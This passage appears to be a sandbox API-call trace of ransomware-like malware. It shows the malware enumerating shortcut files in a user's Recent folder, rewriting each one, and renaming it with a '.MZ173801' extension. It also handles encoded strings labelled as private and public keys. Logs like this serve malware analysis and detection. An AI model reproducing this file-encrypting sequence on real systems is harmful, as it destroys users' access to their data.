[0151.336] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4ff [0151.336] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.336] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4ff, lpOverlapped=0x0) returned 1 [0151.337] CloseHandle (hObject=0x280) returned 1 [0151.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\prvinr44zimlagg9ke.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.338] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4ff, lpOverlapped=0x0) returned 1 [0151.339] CloseHandle (hObject=0x280) returned 1 [0151.342] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\prvinr44zimlagg9ke.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pRvInr44zIMLaGG9ke.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\prvinr44zimlagg9ke.lnk.mz173801")) returned 1 [0151.454] GetCurrentThreadId () returned 0xab4 [0151.454] GetCurrentThreadId () returned 0xab4 [0151.454] GetCurrentThreadId () returned 0xab4 [0151.454] GetCurrentThreadId () returned 0xab4 [0151.454] GetCurrentThreadId () returned 0xab4 [0151.454] GetCurrentThreadId () returned 0xab4 [0151.454] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45614c69, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x45614c69, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x45614c69, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ff, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="psR4.lnk", cAlternateFileName="")) returned 1 [0151.454] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.454] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\psr4.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45614c69, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x45614c69, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x45614c69, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ff)) returned 1 [0151.455] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\psr4.lnk")) returned 0x20 [0151.455] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk", dwFileAttributes=0x80) returned 1 [0151.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.457] GetCurrentThreadId () returned 0xab4 [0151.457] GetCurrentThreadId () returned 0xab4 [0151.458] GetCurrentThreadId () returned 0xab4 [0151.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.458] GetCurrentThreadId () returned 0xab4 [0151.458] GetCurrentThreadId () returned 0xab4 [0151.458] GetCurrentThreadId () returned 0xab4 [0151.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\psr4.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.459] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.459] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.459] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ff [0151.459] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.459] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ff, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ff, lpOverlapped=0x0) returned 1 [0151.460] CloseHandle (hObject=0x280) returned 1 [0151.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\psr4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.461] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ff, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ff, lpOverlapped=0x0) returned 1 [0151.462] CloseHandle (hObject=0x280) returned 1 [0151.462] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\psr4.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\psR4.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\psr4.lnk.mz173801")) returned 1 [0151.463] GetCurrentThreadId () returned 0xab4 [0151.463] GetCurrentThreadId () returned 0xab4 [0151.463] GetCurrentThreadId () returned 0xab4 [0151.463] GetCurrentThreadId () returned 0xab4 [0151.463] GetCurrentThreadId () returned 0xab4 [0151.463] GetCurrentThreadId () returned 0xab4 [0151.463] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e1c0d0, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x62e1c0d0, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x62e1c0d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="PurPDfKeeDvp_IIQ.lnk", cAlternateFileName="PURPDF~1.LNK")) returned 1 [0151.463] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.463] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\purpdfkeedvp_iiq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e1c0d0, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x62e1c0d0, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x62e1c0d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x43f)) returned 1 [0151.463] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\purpdfkeedvp_iiq.lnk")) returned 0x20 [0151.463] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PurPDfKeeDvp_IIQ.lnk", dwFileAttributes=0x80) returned 1 [0151.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 